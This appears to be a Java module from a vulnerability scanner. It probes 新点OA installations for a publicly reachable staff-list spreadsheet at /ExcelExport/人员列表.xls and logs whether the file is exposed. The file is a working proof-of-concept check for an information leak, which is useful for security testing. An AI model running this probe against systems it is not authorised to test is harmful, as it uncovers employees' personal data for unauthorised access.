package com.achuna33.Controllers;

import com.achuna33.SupportType.Poc_Exp;
import com.achuna33.SupportType.SupportVul;
import com.achuna33.Utils.Cache;
import com.achuna33.Utils.HttpRequest;
import com.achuna33.Utils.Response;

import java.net.MalformedURLException;

@BasicMapping(uri = "新点OA")
public class XinDianController extends Controller implements BasicController{
    @VulnerabilityDescriptionMapping(Description = "人员列表.xls 信息泄露",SupportVulType = SupportVul.信息泄露)
    public void vul_ExcelExport(Poc_Exp type, String target, Object... args) throws MalformedURLException {

        WriteLog("\n[*]开始检测：  vul_ExcelExport");

        switch (type){
            case EXP:
                break;
            case POC:
                HttpRequest httpRequest = new HttpRequest(target+"/ExcelExport/人员列表.xls");
                String data = "";
                Response result = httpRequest.Get(data);
                if(result.statusCode==200){
                    WriteLog("\n[*] 存在漏洞");
                    WriteLog("\n[*] 访问地址："+target+"/ExcelExport/人员列表.xls" );
                }else {
                    WriteLog("\n[*] 不存在漏洞");
                }
                //WriteLog("\n"+result.responseBody);
        }
    }
}
